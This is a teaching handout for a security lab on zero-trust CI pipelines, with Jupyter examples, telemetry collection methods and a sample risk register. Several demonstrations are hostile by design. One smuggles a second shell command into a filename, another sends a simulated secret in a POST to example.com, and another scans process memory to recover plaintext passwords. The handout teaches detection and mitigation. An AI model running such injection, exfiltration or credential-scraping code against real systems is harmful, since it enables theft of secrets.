Lab 6

Part A - Threat model and zero-trust framing

Modern CI pipelines routinely execute large volumes of third-party and student-authored code. In Lab 6, assume that no component in the software supply chain is inherently trustworthy. Students are responsible for maintaining a small microservice that ingests user-uploaded files, performs processing, and returns structured output. Such a service is an attractive target: file parsing often exposes remote code execution (RCE) paths, dependencies may contain unpatched vulnerabilities, and automated CI environments frequently handle secrets and deployment credentials.

Trust boundaries must be made explicit. Source code (including pull requests), external dependencies, container base images, the container registry, CI runners, environment variables, build artefacts, and the runtime host form distinct domains. Code and data crossing any of these boundaries require scrutiny. For example, a dependency pulled during build time crosses from an external ecosystem into the execution environment; a container image pulled from a registry crosses from a distribution boundary into a local runtime context.

Representative attacker goals include credential exfiltration, supply-chain poisoning, malicious pull request insertion, dependency confusion, and container/runtime escape. Each threat exploits misplaced trust assumptions. A malicious contributor may introduce subtle data exfiltration logic. A dependency with a known vulnerability may allow arbitrary code execution. A misconfigured container may allow escalation beyond intended privilege.

Zero-trust discipline in this lab requires the following rules:

- No implicit trust in dependencies, build scripts, CI variables, or container images.
- All external inputs are treated as hostile unless validated.
- Every analysis step produces verifiable evidence (logs, reports, artefacts).
- Security decisions must reference concrete outputs rather than assumptions.

Students are expected to document assumptions, identify trust boundaries, and justify risk decisions with collected evidence.

Below are example code snippets that can be executed inside a Jupyter Notebook running in the lab container. Each snippet illustrates either a threat scenario or a simple evidence-gathering activity aligned with zero-trust principles.

Example 1: Inspecting environment variables (potential credential exposure)

```
import os

# Simulated cloud credentials, database credentials, API tokens, CI/CD
```

```
secrets
os.environ["AWS_ACCESS_KEY_ID"] = "AKIAEXAMPLE123456"
os.environ["AWS_SECRET_ACCESS_KEY"] =
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
os.environ["AWS_SESSION_TOKEN"] = "IQoJb3JpZ2luX2VjEEXAMPLETOKEN"

os.environ["DB_HOST"] = "prod-db.internal"
os.environ["DB_USER"] = "app_service"
os.environ["DB_PASSWORD"] = "Str0ngP@ssw0rd!"
os.environ["DB_NAME"] = "customer_records"

os.environ["STRIPE_API_KEY"] = "sk_test_51NEXAMPLEKEY"
os.environ["GITHUB_TOKEN"] = "ghp_EXAMPLETOKEN123456789"
os.environ["SLACK_WEBHOOK_URL"] =
"https://hooks.slack.com/services/T00000000/B00000000/EXAMPLE"

os.environ["CI_REGISTRY_PASSWORD"] = "registryPassword123"
os.environ["DEPLOY_SSH_PRIVATE_KEY"] = """-----BEGIN OPENSSH PRIVATE
KEY-----
EXAMPLE_PRIVATE_KEY_CONTENT
-----END OPENSSH PRIVATE KEY-----"""
os.environ["KUBECONFIG_TOKEN"] = "k8s-example-service-account-token"

print("Listing environment variables:")
for key, value in os.environ.items():
    if "KEY" in key or "TOKEN" in key or "SECRET" in key:
        print(f"[POTENTIAL SENSITIVE] {key} = {value}")
```

```
Listing environment variables:
[POTENTIAL SENSITIVE] AWS_ACCESS_KEY_ID = AKIAEXAMPLE123456
[POTENTIAL SENSITIVE] AWS_SECRET_ACCESS_KEY =
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[POTENTIAL SENSITIVE] AWS_SESSION_TOKEN =
IQoJb3JpZ2luX2VjEEXAMPLETOKEN
[POTENTIAL SENSITIVE] STRIPE_API_KEY = sk_test_51NEXAMPLEKEY
[POTENTIAL SENSITIVE] GITHUB_TOKEN = ghp_EXAMPLETOKEN123456789
[POTENTIAL SENSITIVE] DEPLOY_SSH_PRIVATE_KEY = -----BEGIN OPENSSH
PRIVATE KEY-----
EXAMPLE_PRIVATE_KEY_CONTENT
-----END OPENSSH PRIVATE KEY-----
[POTENTIAL SENSITIVE] KUBECONFIG_TOKEN = k8s-example-service-account-
token
```

The example above demonstrates how easily secrets can be accessed by any executed code. Students must treat environment variables as sensitive assets and minimise exposure.

Example 2: Simulating dependency risk inspection

```
import pkg_resources

print("Installed packages and versions:")
for dist in pkg_resources.working_set:
    print(f"{dist.project_name}=={dist.version}")
```

```
/tmp/ipykernel_162/1015634457.py:1: UserWarning: pkg_resources is
deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html. The
pkg_resources package is slated for removal as early as 2025-11-30.
Refrain from using this package or pin to Setuptools<81.
  import pkg_resources

Installed packages and versions:
NESTML==8.2.0
Send2Trash==1.8.3
Unidecode==1.4.0
absl-py==2.3.1
agate==1.14.0
agate-dbf==0.2.4
agate-excel==0.4.2
agate-sql==0.7.3
alabaster==0.7.16
annotated-types==0.7.0
antlr4-python3-runtime==4.13.2
anyio==4.12.0
argon2-cffi==25.1.0
argon2-cffi-bindings==25.1.0
arrow==1.4.0
asgiref==3.11.0
astroid==4.0.2
astropy==7.2.0
astropy-iers-data==0.2025.12.29.0.42.34
asttokens==3.0.1
astunparse==1.6.3
async-lru==2.0.5
attrs==25.4.0
babel==2.17.0
beautifulsoup4==4.14.3
black==25.12.0
bleach==6.3.0
blinker==1.9.0
blurhash==1.1.5
boost==0.1
breathe==4.36.0
certifi==2025.11.12
cffi==2.0.0
cfgv==3.5.0
```

```
charset-normalizer==3.4.4
clang-format==17.0.4
click==8.3.1
colorama==0.4.6
comm==0.2.3
contourpy==1.3.3
coverage==7.13.1
csa==0.1.12
css-html-js-minify==2.5.5
csvkit==2.2.0
cycler==0.12.1
cython==3.2.3
data-science-types==0.2.23
dbfread==2.0.7
debugpy==1.8.19
decorator==5.2.1
defusedxml==0.7.1
dill==0.4.0
distlib==0.4.0
django==6.0
docutils==0.20.1
et-xmlfile==2.0.0
example==0.1.0
execnet==2.1.2
executing==2.2.1
fastjsonschema==2.21.2
filelock==3.20.1
flask==3.1.2
flask-cors==6.0.2
flatbuffers==25.12.19
fonttools==4.61.1
fqdn==1.5.1
gast==0.7.0
google-pasta==0.2.0
greenlet==3.3.0
grpcio==1.76.0
gsl==0.0.3
gunicorn==23.0.0
h11==0.16.0
h5py==3.15.1
httpcore==1.0.9
httpx==0.28.1
identify==2.6.15
idna==3.11
image==1.5.33
imagesize==1.4.1
iniconfig==2.3.0
ipykernel==7.1.0
ipython==9.8.0
```

```
ipython-pygments-lexers==1.1.1
isodate==0.7.2
isoduration==20.11.0
isort==7.0.0
itsdangerous==2.2.0
jedi==0.19.2
jinja2==3.1.6
joblib==1.5.3
json5==0.12.1
jsonpointer==3.0.0
jsonschema==4.25.1
jsonschema-specifications==2025.9.1
junitparser==4.0.2
jupyter-client==8.7.0
jupyter-core==5.9.1
jupyter-events==0.12.0
jupyter-lsp==2.3.0
jupyter-server==2.17.0
jupyter-server-terminals==0.5.3
jupyterlab==4.5.1
jupyterlab-pygments==0.3.0
jupyterlab-server==2.28.0
keras==3.13.1
kiwisolver==1.4.9
lark==1.3.1
leather==0.4.1
libclang==18.1.1
librt==0.7.5
lxml==6.0.2
markdown==3.10
markdown-it-py==4.0.0
markupsafe==3.0.3
mastodon-py==2.1.4
matplotlib==3.10.8
matplotlib-inline==0.2.1
mccabe==0.7.0
mdurl==0.1.2
meson==1.10.0
meson-python==0.18.0
mistune==3.2.0
ml-dtypes==0.5.4
mpi4py==4.1.1
mpmath==1.3.0
mypy==1.19.1
mypy-extensions==1.1.0
namex==0.1.0
nbclient==0.10.4
nbconvert==7.16.6
nbformat==5.10.4
```

```
nbsphinx==0.9.8
nest-asyncio==1.6.0
nest-desktop==4.2.0
ninja==1.13.0
nodeenv==1.10.0
notebook==7.5.1
notebook-shim==0.2.4
numpy==2.4.0
numpydoc==1.10.0
odetoolbox==2.5.11
olefile==0.47
openpyxl==3.1.5
opt-einsum==3.4.0
optree==0.18.0
packaging==25.0
pandas==2.3.3
pandocfilters==1.5.1
parsedatetime==2.6
parso==0.8.5
pathspec==0.12.1
pexpect==4.9.0
pillow==12.0.0
pip==25.3
platformdirs==4.5.1
pluggy==1.6.0
pre-commit==4.5.1
prometheus-client==0.23.1
prompt-toolkit==3.0.52
protobuf==6.33.4
psutil==7.2.1
ptyprocess==0.7.0
pure-eval==0.2.3
pycodestyle==2.14.0
pycparser==2.23
pydantic==2.12.5
pydantic-core==2.41.5
pydocstyle==6.3.0
pydot==4.0.1
pyerfa==2.0.1.5
pygments==2.19.2
pygsl==2.6.4
pylint==4.0.4
pyparsing==3.3.1
pyproject-metadata==0.10.0
pytest==9.0.2
pytest-cov==7.0.0
pytest-mypy==1.0.1
pytest-pylint==0.21.0
pytest-timeout==2.4.0
```

```
pytest-xdist==3.8.0
python-dateutil==2.9.0.post0
python-json-logger==4.0.0
python-magic==0.4.27
python-slugify==8.0.4
pytimeparse==1.1.8
pytokens==0.3.0
pytz==2025.2
pyyaml==6.0.3
pyzmq==27.1.0
referencing==0.37.0
requests==2.32.5
restrictedpython==8.1
rfc3339-validator==0.1.4
rfc3986-validator==0.1.1
rfc3987-syntax==1.1.0
rich==14.2.0
roman-numerals==4.1.0
roman-numerals-py==4.1.0
rpds-py==0.30.0
rstcheck==6.2.5
rstcheck-core==1.2.2
scikit-learn==1.8.0
scipy==1.16.3
semver==3.0.4
setuptools==80.9.0
shellingham==1.5.4
six==1.17.0
snowballstemmer==3.0.1
soupsieve==2.8.1
sphinx==7.4.7
sphinx-autobuild==2025.8.25
sphinx-carousel==1.2.0
sphinx-copybutton==0.5.2
sphinx-design==0.6.1
sphinx-gallery==0.20.0
sphinx-material==0.0.36
sphinx-notfound-page==1.1.0
sphinx-rtd-theme==3.0.2
sphinx-tabs==3.4.7
sphinxcontrib-applehelp==2.0.0
sphinxcontrib-devhelp==2.0.0
sphinxcontrib-htmlhelp==2.1.0
sphinxcontrib-jquery==4.1
sphinxcontrib-jsmath==1.0.1
sphinxcontrib-mermaid==1.2.3
sphinxcontrib-plantuml==0.31
sphinxcontrib-qthelp==2.0.0
sphinxcontrib-serializinghtml==2.0.0
```

```
sqlalchemy==2.0.45
sqlparse==0.5.5
stack-data==0.6.3
starlette==0.50.0
sympy==1.14.0
tensorboard==2.20.0
tensorboard-data-server==0.7.2
tensorflow==2.20.0
termcolor==3.3.0
terminado==0.18.1
terminaltables==3.1.10
text-unidecode==1.3
threadpoolctl==3.6.0
tinycss2==1.4.0
tomlkit==0.13.3
tornado==6.5.4
tqdm==4.67.1
traitlets==5.14.3
typer==0.21.0
typing-extensions==4.15.0
typing-inspection==0.4.2
tzdata==2025.3
uri-template==1.3.0
urllib3==2.6.2
uvicorn==0.40.0
virtualenv==20.35.4
watchfiles==1.1.1
wcwidth==0.2.14
webcolors==25.10.0
webencodings==0.5.1
websocket-client==1.9.0
websockets==15.0.1
werkzeug==3.1.4
wheel==0.45.1
wrapt==2.0.1
xlrd==2.0.2
yamllint==1.37.1
autocommand==2.2.2
backports.tarfile==1.2.0
importlib-metadata==8.0.0
inflect==7.3.1
jaraco.collections==5.1.0
jaraco.context==5.3.0
jaraco.functools==4.0.1
jaraco.text==3.12.1
more-itertools==10.3.0
tomli==2.0.1
typeguard==4.3.0
zipp==3.19.2
```

Produces an inventory of installed packages. Students can export this list and compare against vulnerability databases as part of dependency risk assessment.

Example 3: Demonstrating unsafe file handling (potential RCE vector)

```
import os
import subprocess

# Ensure the file exists
filename = "example.txt"

if not os.path.exists(filename):
    with open(filename, "w") as f:
        f.write("This is a safe example file.\n")
    print(f"{filename} created.")
else:
    print(f"{filename} already exists.")

# Deliberately unsafe user input (for demonstration)
user_input = "example.txt; echo MALICIOUS_COMMAND_EXECUTED"

# Vulnerable command construction
command = f"cat {user_input}"
print("Executing:", command)

# Execute command
result = subprocess.run(command, shell=True, capture_output=True,
text=True)

print("STDOUT:")
print(result.stdout)

print("STDERR:")
print(result.stderr)
```

```
example.txt created.
Executing: cat example.txt; echo MALICIOUS_COMMAND_EXECUTED
STDOUT:
This is a safe example file.
MALICIOUS_COMMAND_EXECUTED

STDERR:
```

Illustrates command injection risk when user input is concatenated into shell commands. Students must identify this as a high-impact vulnerability and document mitigation.

- The file-creation step ensures reproducibility in Jupyter.

- The use of `shell=True` combined with unsanitised input demonstrates command injection.
- The additional echo command will execute, proving that input validation is absent.

Example 4: Observing process behaviour (runtime telemetry)

```
import psutil
import time
import os
import math
import threading

# Monitor the current Jupyter kernel process
process = psutil.Process(os.getpid())

stop = False
iterations = 0

def burn_cpu():
    global iterations, stop
    j = 0
    while not stop:
        j += 1
        _ = math.sqrt(j) * math.sin(j)
    iterations = j

print("Starting CPU burner thread and monitoring current process for 5
seconds...")

# Start CPU load in a background thread
t = threading.Thread(target=burn_cpu, daemon=True)
t.start()

# Prime cpu_percent so subsequent readings reflect deltas
process.cpu_percent(None)

# Monitor for ~5 seconds (each reading covers a 1-second window)
samples = []
for _ in range(5):
    cpu = process.cpu_percent(interval=1)
    mem = process.memory_info().rss / (1024 * 1024)
    ofiles = len(process.open_files())
    row = {"cpu_percent": cpu, "memory_mb": mem, "open_files": ofiles}
    samples.append(cpu)
    print(row)

# Stop CPU load and summarise
stop = True
t.join(timeout=1)
```

```
print("\nSummary:")
print("CPU% samples (1s windows):", samples)
print("Peak CPU%:", max(samples) if samples else None)
print("Iterations executed by burner:", iterations)
```

```
Starting CPU burner thread and monitoring current process for 5
seconds...
{'cpu_percent': 98.4, 'memory_mb': 69.77734375, 'open_files': 2}
{'cpu_percent': 99.9, 'memory_mb': 69.77734375, 'open_files': 2}
{'cpu_percent': 101.4, 'memory_mb': 69.77734375, 'open_files': 2}
{'cpu_percent': 100.9, 'memory_mb': 69.77734375, 'open_files': 2}
{'cpu_percent': 100.3, 'memory_mb': 69.77734375, 'open_files': 2}

Summary:
CPU% samples (1s windows): [98.4, 99.9, 101.4, 100.9, 100.3]
Peak CPU%: 101.4
Iterations executed by burner: 40406322
```

Collects runtime telemetry for resource usage and file access. Students can use similar measurements to validate sandbox constraints.

Example 5: Attempting outbound network access (policy validation)

```
import os
import socket
import json

# Simulated sensitive data
os.environ["DEMO_SECRET_TOKEN"] = "SUPER_SECRET_VALUE_123"

payload = {
    "hostname": socket.gethostname(),
    "secret": os.environ.get("DEMO_SECRET_TOKEN")
}

data = json.dumps(payload).encode()

print("Attempting to exfiltrate the following data:")
print(payload)

try:
    # Connect to an external host
    host = "example.com"
    port = 80

    with socket.create_connection((host, port), timeout=5) as s:
        # Send minimal HTTP POST request
```

```
        request = (
            f"POST / HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: application/json\r\n"
            f"Content-Length: {len(data)}\r\n"
            f"\r\n"
        ).encode() + data

        s.sendall(request)
        print("Outbound egress succeeded. Data was transmitted.")

except Exception as e:
    print("Outbound egress blocked or failed.")
    print("Reason:", e)


Attempting to exfiltrate the following data:
{'hostname': '4b0fd12b3e2e', 'secret': 'SUPER_SECRET_VALUE_123'}
Outbound egress succeeded. Data was transmitted.
```

Tests whether network egress controls are effective. Outcome must be recorded as evidence in the risk model. In this example:

- A simulated secret is defined explicitly.
- The code prints the exact data that would leave the system.
- A structured HTTP request is constructed and transmitted.
- Success indicates unrestricted egress capability.
- Failure indicates some form of network control.

Example 6: Plaintext passwords retained in memory (insecure)

```
import gc
import re
from dataclasses import dataclass

# --- Application code (insecure design) ---

@dataclass
class LoginAttempt:
    username: str
    password: str  # Plaintext retained in memory (bad)
    timestamp: float

login_attempts = []

def handle_login(username: str, password: str, timestamp: float):
    # Simulate a login handler that mistakenly stores plaintext for
"debugging"
    login_attempts.append(LoginAttempt(username=username,
```

```
password=password, timestamp=timestamp))
    return True

# Simulate a few logins
handle_login("alice", "P@ssw0rd123!", 1700000000.0)
handle_login("bob", "LetMeIn!2026", 1700000001.0)
handle_login("carol", "CorrectHorseBatteryStaple", 1700000002.0)

print("Stored login attempts (insecure):", len(login_attempts))


# --- Attacker code (demonstration of illegal access) ---
# Goal: extract plaintext passwords from memory by scanning live
Python objects.

def extract_plaintext_passwords_from_memory():
    gc.collect()
    pattern = re.compile(r"(?i)(pass(word)?|letmein|correcthorse|
p@ss)")  # heuristic demo only

    hits = []
    for obj in gc.get_objects():
        try:
            # Look for dataclass-like objects with a 'password'
attribute
            if hasattr(obj, "__dict__") and "password" in
obj.__dict__:
                pw = obj.__dict__.get("password")
                if isinstance(pw, str) and pw and pattern.search(pw):
                    hits.append((obj.__dict__.get("username",
"<unknown>"), pw))
        except Exception:
            continue
    return hits

leaked = extract_plaintext_passwords_from_memory()

print("\n[DEMO] Plaintext credentials recovered from memory:")
for u, p in leaked:
    print(f"username={u}  password={p}")
```

```
Stored login attempts (insecure): 3

[DEMO] Plaintext credentials recovered from memory:
username=alice  password=P@ssw0rd123!
username=bob  password=LetMeIn!2026
username=carol  password=CorrectHorseBatteryStaple
```

- Application code keeps plaintext passwords alive in login_attempts.

- "Attacker" code can read in-memory objects and recover plaintext credentials without needing filesystem access.
- Threat model link: malicious dependency, malicious notebook cell, or compromised plugin could perform equivalent scanning.

```
pattern = re.compile(r"(?i)(pass(word)?|letmein|correcthorse|p@ss)")
```

creates a rule for searching text that looks like common passwords.

Simple breakdown:

- re.compile(...) prepares a search pattern so it can be reused efficiently.
- r"..." means the string is treated literally (no special escape handling by Python).
- (?i) makes the search case-insensitive. So Password, PASSWORD, and password all match.
- (...) groups the possible matches.
- | means “or”.

The pattern matches any string containing:

- pass
- password
- letmein
- correcthorse
- p@ss

The part pass(word)? means:

- Match pass
- Optionally match word after it and so it matches both pass and password.

Why it is called “heuristic”?

It does not truly detect passwords. It only looks for obvious examples or common words often used in passwords. In the lab, it is used to demonstrate that:

Plaintext passwords stored in memory can be searched.

Simple pattern matching can reveal sensitive information.

Any untrusted code running in the same process could do something similar.

Part B - Runtime telemetry

Runtime telemetry is evidence gathered while code is executing. Telemetry answers “what did the program actually do?”, rather than “what might it do?”. In a zero-trust setting, telemetry is used to validate or challenge assumptions made during static analysis and risk modelling. Telemetry is particularly useful for detecting boundary crossings: unexpected network egress,

unexpected file access, process spawning, abnormal resource usage, and suspicious changes in runtime behaviour.

Lab objective for telemetry is to collect reproducible runtime evidence from the lab container while running an "untrusted workload" (your sample service or a known-bad variant). Evidence must be stored in the lab submission folder, with a short interpretation that maps observations back to risks.

Telemetry questions:

- Processes: Which processes ran, and what child processes were spawned?
- Network: Did the workload attempt outbound or unexpected connections (egress)? Which hosts/ports?
- Files: Which files were read and written? Did access occur outside the expected working directory?
- Resources: What were CPU, memory, and file descriptor usage over time? Were limits respected?
- Policy validation: Did the sandbox controls (if applied) actually block unwanted actions?

Evidence requirements

Each telemetry run must produce:

- A timestamped log of observations (text file).
- At least one artefact proving the measurement (command output, JSON, or notebook output).
- A short interpretation note referencing the evidence files.

Telemetry collection methods inside the lab container

Method 1: Process and resource telemetry (psutil-based, Jupyter-friendly)

Use when running code inside the same Jupyter environment.

Run the following cell to monitor the current process while forcing CPU work (demonstrates "measurement works" and gives a baseline):

```
import psutil
import time
import os
import math
import threading
import json
from datetime import datetime

# Ensure telemetry directory exists
output_dir = "reports/telemetry"
os.makedirs(output_dir, exist_ok=True)
output_path = os.path.join(output_dir, "cpu_monitor.json")
```

```
process = psutil.Process(os.getpid())

stop = False
iterations = 0

def burn_cpu():
    global iterations, stop
    j = 0
    while not stop:
        j += 1
        _ = math.sqrt(j) * math.sin(j)
    iterations = j

# Start CPU load
t = threading.Thread(target=burn_cpu, daemon=True)
t.start()

# Prime cpu_percent
process.cpu_percent(None)

samples = []
start_time = datetime.now().isoformat(timespec="seconds")

print("Telemetry: monitoring process for 5 seconds while CPU load
runs...")

for _ in range(5):
    row = {
        "ts": datetime.now().isoformat(timespec="seconds"),
        "pid": process.pid,
        "cpu_percent": process.cpu_percent(interval=1),
        "memory_mb": process.memory_info().rss / (1024 * 1024),
        "open_files": len(process.open_files()),
        "num_threads": process.num_threads(),
    }
    samples.append(row)
    print(row)

stop = True
t.join(timeout=1)

summary = {
    "start_time": start_time,
    "end_time": datetime.now().isoformat(timespec="seconds"),
    "pid": process.pid,
    "peak_cpu_percent": max(r["cpu_percent"] for r in samples),
    "final_memory_mb": samples[-1]["memory_mb"] if samples else None,
    "iterations": iterations,
    "samples": samples,
}
```

```
# Save to JSON file
with open(output_path, "w") as f:
    json.dump(summary, f, indent=2)

print("\nSummary:")
print("Peak CPU%:", summary["peak_cpu_percent"])
print("Iterations:", iterations)
print(f"Telemetry written to {output_path}")
```

```
Telemetry: monitoring process for 5 seconds while CPU load runs...
{'ts': '2026-02-14T18:32:33', 'pid': 32, 'cpu_percent': 99.9,
'memory_mb': 68.4140625, 'open_files': 2, 'num_threads': 13}
{'ts': '2026-02-14T18:32:34', 'pid': 32, 'cpu_percent': 101.4,
'memory_mb': 68.4140625, 'open_files': 2, 'num_threads': 13}
{'ts': '2026-02-14T18:32:36', 'pid': 32, 'cpu_percent': 101.4,
'memory_mb': 68.4140625, 'open_files': 2, 'num_threads': 13}
{'ts': '2026-02-14T18:32:37', 'pid': 32, 'cpu_percent': 98.9,
'memory_mb': 68.4140625, 'open_files': 2, 'num_threads': 13}
{'ts': '2026-02-14T18:32:39', 'pid': 32, 'cpu_percent': 100.4,
'memory_mb': 68.4140625, 'open_files': 2, 'num_threads': 13}

Summary:
Peak CPU%: 101.4
Iterations: 24006234
Telemetry written to reports/telemetry/cpu_monitor.json
```

Method 2: Network egress telemetry (command-line)

Use when need to prove whether outbound connections occur.

Option A: Quick connection table snapshot

Look for established outbound connections (ESTAB) and unexpected remote IPs/ports.

Option B: Capture traffic (requires permissions and tooling availability)

If tcpdump is available

```
import os
import subprocess
from datetime import datetime

# Ensure telemetry directory exists
output_dir = "reports/telemetry"
os.makedirs(output_dir, exist_ok=True)

timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")

# ---------- Option A: ss snapshot ----------
ss_output_file = os.path.join(output_dir,
```

```
f"ss_connections_{timestamp}.txt")

try:
    result = subprocess.run(
        ["ss", "-tunap"],
        capture_output=True,
        text=True,
        check=True
    )
    with open(ss_output_file, "w") as f:
        f.write(result.stdout)

    print(f"[OK] ss snapshot saved to {ss_output_file}")

except FileNotFoundError:
    print("[WARN] 'ss' not available in this environment.")
except subprocess.CalledProcessError as e:
    print("[ERROR] ss command failed:", e)


# ---------- Option B: tcpdump capture (no sudo) ----------
tcpdump_output_file = os.path.join(output_dir,
f"tcpdump_50pkts_{timestamp}.txt")

try:
    # Attempt capture without sudo (may fail if permissions
restricted)
    result = subprocess.run(
        ["tcpdump", "-i", "any", "-n", "-c", "50"],
        capture_output=True,
        text=True,
        timeout=15
    )

    if result.returncode == 0:
        with open(tcpdump_output_file, "w") as f:
            f.write(result.stdout)
        print(f"[OK] tcpdump capture saved to {tcpdump_output_file}")
    else:
        print("[WARN] tcpdump executed but returned non-zero status.")
        print(result.stderr)

except FileNotFoundError:
    print("[WARN] tcpdump not installed in this container.")
except subprocess.TimeoutExpired:
    print("[WARN] tcpdump timed out (likely no traffic).")
except PermissionError:
    print("[WARN] tcpdump requires elevated permissions in this
environment.")
```

```
except Exception as e:
    print("[ERROR] tcpdump execution failed:", e)
```

```
[OK] ss snapshot saved to
reports/telemetry/ss_connections_20260214_200158.txt
[OK] tcpdump capture saved to
reports/telemetry/tcpdump_50pkts_20260214_200158.txt
```

Method 3: File access telemetry (lsof and targeted checks)

Use when verifying whether code touches files outside the intended directory.

Snapshot open files for a PID (replace PID):

```
import os
import subprocess
from datetime import datetime

# ---- Configuration ----
# Use current Jupyter kernel PID by default
pid = os.getpid()

# If you want to inspect another process, set it manually:
# pid = 12345

output_dir = "reports/telemetry"
os.makedirs(output_dir, exist_ok=True)

timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = os.path.join(output_dir, f"lsof_{pid}_{timestamp}.txt")

print(f"Collecting lsof telemetry for PID {pid}...")

try:
    result = subprocess.run(
        ["lsof", "-p", str(pid)],
        capture_output=True,
        text=True,
        check=True
    )

    with open(output_file, "w") as f:
        f.write(result.stdout)

    print(f"[OK] lsof output saved to {output_file}")

except FileNotFoundError:
    print("[WARN] 'lsof' not installed. Install with: apt install
lsof")
```

```
except subprocess.CalledProcessError as e:
    print("[ERROR] lsof failed:", e)
```

```
Collecting lsof telemetry for PID 23...
[OK] lsof output saved to
reports/telemetry/lsof_23_20260214_195208.txt
```

Practical approach: start the workload, find its PID e.g. `ps aux | grep .py), then run lsof.

Additional checks: confirm writes only in expected directories (e.g.,comp40771_lab6/).

Method 4: System call tracing (strace) for high-fidelity evidence

Use when you need strong evidence of attempted access (including failures).

```
import os
import subprocess
import time
from datetime import datetime

# Current Jupyter kernel PID
pid = os.getpid()

output_dir = "reports/telemetry"
os.makedirs(output_dir, exist_ok=True)

timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = os.path.join(output_dir,
f"strace_pid_{pid}_{timestamp}.txt")

print(f"Attaching strace to current PID: {pid}")
print(f"Output file: {output_file}")

try:
    # Start strace attached to this process
    proc = subprocess.Popen([
        "strace",
        "-f",              # follow threads
        "-s", "200",       # max string size
        "-tt",             # timestamp syscalls
        "-p", str(pid),    # attach to current PID
        "-o", output_file
    ])

    # Trace for 5 seconds
    time.sleep(5)

    # Stop tracing
    proc.terminate()
```

```
    proc.wait()

    print(f"[OK] strace telemetry saved to {output_file}")

except FileNotFoundError:
    print("[WARN] strace not installed. Install with: apt install
strace")
except PermissionError:
    print("[WARN] strace requires SYS_PTRACE capability in Docker.")
except Exception as e:
    print("[ERROR]", e)
```

```
Attaching strace to current PID: 29
Output file: reports/telemetry/strace_pid_29_20260214_195810.txt

strace: Process 29 attached with 12 threads

[OK] strace telemetry saved to
reports/telemetry/strace_pid_29_20260214_195810.txt

strace: Process 29 detached
strace: Process 39 detached
strace: Process 40 detached
strace: Process 43 detached
strace: Process 41 detached
strace: Process 38 detached
strace: Process 37 detached
strace: Process 36 detached
strace: Process 35 detached
strace: Process 34 detached
strace: Process 33 detached
strace: Process 32 detached
```

Part C — Risk Modelling and Release Decision (Illustrative Example)

Static findings and runtime telemetry only become meaningful when translated into explicit decisions.
Risk modelling requires you to:

- State assumptions clearly
- Quantify exposure
- Link evidence to conclusions
- Justify whether the system is safe to release

What is SAST?

SAST (Static Application Security Testing) analyses source code without executing it.

Typical tools:

- Semgrep
- Bandit
- SonarQube
- CodeQL

SAST detects risky patterns such as:

- Command injection (`shell=True`)
- Unsafe deserialisation
- Hardcoded secrets
- Weak cryptography
- Missing input validation

Important: SAST identifies potential weaknesses.
It does **not** prove exploitability. Runtime telemetry and deployment context determine real risk.

C1. Example Risk Register

Scoring Model

- Likelihood (L): 1 (rare) → 5 (almost certain)
- Impact (I): 1 (negligible) → 5 (critical)
- Risk Score = L × I

Likelihood Adjustment Rules

- +1 if public exploit exists
- +1 if network exposed
- −1 if runtime sandbox blocks exploitation
- Clamp Likelihood between 1 and 5

Example Completed Risk Register

1) Code-Level Finding (SAST)

Finding ID: SAST-01
Description: Command injection via unsanitised input passed to `shell=True`

Asset Affected: Application service process
Threat Scenario: Attacker submits crafted input leading to arbitrary command execution

Likelihood: 4
Impact: 5
Risk Score: 20

Proposed Control:

- Remove `shell=True`
- Use argument list invocation
- Validate input

Residual Risk: 8
Decision: Mitigate before release
Owner: Development team
Evidence: `reports/semgrep.json` (rule: subprocess-shell-true)

Rationale:

- Public exploit techniques exist (+1)
- Service reachable over network (+1)
- No sandbox constraint detected (no reduction)

---

2) Dependency Finding

Finding ID: DEP-01
Description: Flask 3.0.0 flagged with known vulnerability (example CVE)
Asset Affected: Web framework dependency
Threat Scenario: Remote attacker exploits vulnerability to bypass authentication

Likelihood: 3
Impact: 4
Risk Score: 12

Proposed Control:

- Upgrade to patched version

Residual Risk: 8
Decision: Mitigate before release
Owner: DevOps
Evidence: `reports/grype.json`

Rationale:

- Exploit exists but not trivial (+1)
- Application not directly internet-facing (no increase)

---

3) Container Configuration Finding

Finding ID: CONT-01
Description: Container runs as root user
Asset Affected: Container runtime boundary
Threat Scenario: RCE leads to privilege escalation or escape attempts

Likelihood: 3
Impact: 5
Risk Score: 15

Proposed Control:

- Run as non-root
- Drop capabilities
- Use read-only filesystem

Residual Risk: 8
Decision: Mitigate before release
Owner: Platform engineering
Evidence: Dockerfile + `docker inspect` output

Rationale: Telemetry shows ability to access sensitive paths.
No runtime sandbox constraint reduces likelihood.

---

4) Secret / Configuration Exposure Finding

Finding ID: SEC-01
Description: No hardcoded secrets found (scan completed)
Asset Affected: Source repository
Threat Scenario: Accidental credential leakage via code commit

Likelihood: 1
Impact: 5
Risk Score: 5

Proposed Control:

- Enforce CI secrets scan gate

Residual Risk: 4
Decision: Accept with monitoring
Owner: DevOps
Evidence: `reports/gitleaks.json`

Note: Even when no secrets are detected, documenting the check demonstrates due diligence.

C2. Scoring Model Explanation

Core Formula:

Risk Score = Likelihood × Impact

Likelihood Adjustments:

- Public exploit documented → increase likelihood
- Service externally exposed → increase likelihood
- Sandbox blocks exploit path → decrease likelihood

Bound Likelihood between 1 and 5.

Impact Scale Guidance:

1 = Cosmetic issue
3 = Service degradation or limited data exposure
5 = Full compromise, credential theft, infrastructure breach

C3. Release Decision Example

Release Decision: BLOCK

Summary

Four major findings were analysed.

- SAST-01 scored 20
- CONT-01 scored 15
- DEP-01 scored 12
- SEC-01 scored 5

Telemetry confirms:

- Outbound network egress permitted
- No runtime sandbox restrictions active

This increases likelihood of credential exfiltration in case of compromise.

Decision Rationale

- Two findings exceed release-blocking threshold (≥15)
- Exploit paths are feasible
- No compensating controls are in place

Release is blocked until:

1. Command injection removed
2. Container reconfigured to run as non-root with reduced capabilities
3. Vulnerable dependency upgraded

Re-assessment required after mitigation and telemetry validation.

Alternative Outcome Example

If:

- Command injection fixed
- Container hardened
- Telemetry confirms:
  - No outbound egress
  - No privileged file access
  - No unexpected process spawning

Residual risks may fall below threshold (all scores <10).

Possible Decision:

SHIP WITH DOCUMENTED WAIVERS for low-severity findings.

Key Learning Objective

Risk modelling is not about eliminating all risk.

